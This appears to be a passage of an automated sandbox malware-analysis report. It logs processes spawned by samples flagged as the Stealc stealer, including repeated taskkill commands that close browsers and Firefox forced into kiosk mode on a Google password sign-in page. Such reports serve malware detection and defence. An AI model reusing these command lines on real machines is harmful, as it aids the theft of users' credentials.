Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	23:03:11
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	23:03:11
Start date:	11/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	23:03:11
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	23:03:11
Start date:	11/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	23:03:11
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	23:03:11
Start date:	11/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	23:03:11
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	23:03:11
Start date:	11/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	23:03:11
Start date:	11/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	23:03:11
Start date:	11/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	23:03:11
Start date:	11/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	23:03:13
Start date:	11/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2176 -parentBuildID 20230927232528 -prefsHandle 2068 -prefMapHandle 2060 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4ca6a3ee-eee5-454e-b34c-b7afc720e16b} 3184 "\\.\pipe\gecko-crash-server-pipe.3184" 2592836c110 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	23:03:15
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe"
Imagebase:	0x6c0000
File size:	1'834'496 bytes
MD5 hash:	59B3273D9D5C8F80B5CFE9E160188073
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000003.2788035589.0000000005070000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000002.2828445859.00000000006C1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000002.2831755373.000000000119B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	23:03:16
Start date:	11/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3500 -parentBuildID 20230927232528 -prefsHandle 3680 -prefMapHandle 2940 -prefsLen 26395 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {a965bc52-189f-476e-bd3c-458acd57178b} 3184 "\\.\pipe\gecko-crash-server-pipe.3184" 2593fe48210 rdd
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	23:03:24
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe"
Imagebase:	0x8e0000
File size:	919'552 bytes
MD5 hash:	530C8D510535E62FD422303538B7DCF4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	23:03:24
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	23:03:24
Start date:	11/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	23:03:32
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe"
Imagebase:	0x6c0000
File size:	1'834'496 bytes
MD5 hash:	59B3273D9D5C8F80B5CFE9E160188073
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000003.2949800933.0000000004A40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.3013597839.0000000000EEB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.3011470230.00000000006C1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	23:03:35
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	23:03:35
Start date:	11/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	23:03:35
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	23:03:35
Start date:	11/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	23:03:35
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	23:03:35
Start date:	11/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	23:03:36
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	23:03:36
Start date:	11/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	23:03:36
Start date:	11/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	23:03:36
Start date:	11/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	23:03:37
Start date:	11/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2132 -parentBuildID 20230927232528 -prefsHandle 2076 -prefMapHandle 2068 -prefsLen 25350 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {eee284a6-6c71-4aba-bd4c-f339d0acf602} 1648 "\\.\pipe\gecko-crash-server-pipe.1648" 1ef1df6db10 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	23:03:40
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe"
Imagebase:	0x8e0000
File size:	919'552 bytes
MD5 hash:	530C8D510535E62FD422303538B7DCF4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	23:03:41
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	23:03:41
Start date:	11/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	23:03:51
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	23:03:51
Start date:	11/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	23:03:51
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	23:03:51
Start date:	11/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	23:03:52
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	23:03:52
Start date:	11/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	23:03:52
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	23:03:52
Start date:	11/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	23:03:52
Start date:	11/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	23:03:52
Start date:	11/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	23:03:53
Start date:	11/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2132 -parentBuildID 20230927232528 -prefsHandle 2076 -prefMapHandle 2060 -prefsLen 25350 -prefMapSize 237931 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1812166d-c4fd-4c53-a2fb-652daad10071} 6848 "\\.\pipe\gecko-crash-server-pipe.6848" 21a4db6e510 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 05520BF8 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2080778610.0000000005520000.00000040.00001000.00020000.00000000.sdmp, Offset: 05520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5520000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71f319af104038b84e000e0b0c72bb94aafaf834c74a75919485cce1f97a64a2
Instruction ID: b556a96c117bf220a8f59a7548ea4f340f01ede70acaafe76e326fee85992b93
Opcode Fuzzy Hash: 71f319af104038b84e000e0b0c72bb94aafaf834c74a75919485cce1f97a64a2
Instruction Fuzzy Hash: CA1186FF14E134BE6142D5422B1CAB6BA6FF6C73303308826B40BF65E2D2945E4952F1

Function 05520CB1 Relevance: .4, Instructions: 379COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2080778610.0000000005520000.00000040.00001000.00020000.00000000.sdmp, Offset: 05520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5520000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a93e8bcdec0cefd3eba1a24881cec0f6fa9669b2e94b5a919ddcc1c268906797
Instruction ID: ac8705a2b88f60990a9368e0bfc4a9d09f9a1c09247b48066e45724db2839938
Opcode Fuzzy Hash: a93e8bcdec0cefd3eba1a24881cec0f6fa9669b2e94b5a919ddcc1c268906797
Instruction Fuzzy Hash: E20166AA90F2B0DEC753D63409DD2B57F93FA1722037409D6D442DB4F3D216694B8392

Function 05520C50 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2080778610.0000000005520000.00000040.00001000.00020000.00000000.sdmp, Offset: 05520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5520000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bf624051966e436a8b3bff37c1f8e15f86ae42f03c9778909e3ffbc286543ca
Instruction ID: 663400733dc7736fc130f3d9d779716675dbe1db69eb002904fa28b40e878e57
Opcode Fuzzy Hash: 4bf624051966e436a8b3bff37c1f8e15f86ae42f03c9778909e3ffbc286543ca
Instruction Fuzzy Hash: BB01D4FB00E234BE6142D5522B196F27B5BF6C73303308826F40BE65E192945D5952F1

Function 05520CD4 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2080778610.0000000005520000.00000040.00001000.00020000.00000000.sdmp, Offset: 05520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5520000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69dd71e7ae5f3645b198d445214dd33ca37bfd9aeed5b3317b35ccb1ee34e2ad
Instruction ID: 5e2e374cf12202bd1a2e6caa24764c3d56d16025f115a014c1aacc66bcebf04c
Opcode Fuzzy Hash: 69dd71e7ae5f3645b198d445214dd33ca37bfd9aeed5b3317b35ccb1ee34e2ad
Instruction Fuzzy Hash: EBF0F6A904F364DFC343D6645A6A2B27FABBB132303200996D04BDF5F3D598588283A1

Function 05520CF4 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2080778610.0000000005520000.00000040.00001000.00020000.00000000.sdmp, Offset: 05520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5520000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e82ed1f372df33fce8fad03badf4b9715151e866edc208a398722526ec634969
Instruction ID: fdb2d52c21f4c2125c0f01d9d392172f3f68f4446f561323907822a779084c14
Opcode Fuzzy Hash: e82ed1f372df33fce8fad03badf4b9715151e866edc208a398722526ec634969
Instruction Fuzzy Hash: 07F09EAF40F338DE5282A5650B2E372FB97FB472303300D57640BAB1F1A0584D8543D1

Function 05520C99 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2080778610.0000000005520000.00000040.00001000.00020000.00000000.sdmp, Offset: 05520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5520000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a24a995a4951260f8c853006994ea8547a5d668042c03345260b4b6ae21447af
Instruction ID: fe90219aaff3579774796d4cb81721bebfa275ba1c2c8df683c12c65f774ab87
Opcode Fuzzy Hash: a24a995a4951260f8c853006994ea8547a5d668042c03345260b4b6ae21447af
Instruction Fuzzy Hash: 51F02BEF40F338EE12C1E556171E372B68BFB5B2303704D26680BAB6F1A1549D9143D5

Function 05520D21 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2080778610.0000000005520000.00000040.00001000.00020000.00000000.sdmp, Offset: 05520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5520000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eeb644cc451e4d1491e2fd8150900fa19eb657f6aaf588554fa0ec6f0ea1bcad
Instruction ID: 334017cf0050f2ea0761306d775ccec357f101136051f5eb23d72aaa074537c0
Opcode Fuzzy Hash: eeb644cc451e4d1491e2fd8150900fa19eb657f6aaf588554fa0ec6f0ea1bcad
Instruction Fuzzy Hash: 69E0260E04F3B8DB8293D9A2149C1727FA3B7031303740B9BA04F8F0F2855A715AD399

Analysis Process: axplong.exePID: 3920, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	9.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.7%
Total number of Nodes:	360
Total number of Limit Nodes:	27

Executed Functions

Function 009DE440 Relevance: 14.8, Strings: 11, Instructions: 1000
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WWp=, xrefs: 009E04DA
MJB+, xrefs: 009DE734
fed3aa, xrefs: 009DFA9E
WWt=, xrefs: 009E088D
111, xrefs: 009DF6B0
GqKudSO2, xrefs: 009DE47F
MT==, xrefs: 009DE4A5
#, xrefs: 009E0534
UD==, xrefs: 009DEA1F, 009DEC66
WGt=, xrefs: 009DF62D, 009DF90A
246122658369, xrefs: 009DF647, 009DF924, 009E04F7, 009E08AA

Memory Dump Source

Source File: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000006.00000002.3281305719.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3281517208.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282170350.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3282431990.0000000000CE2000.00000040.00000001.01000000.00000007.sdmpDownload File
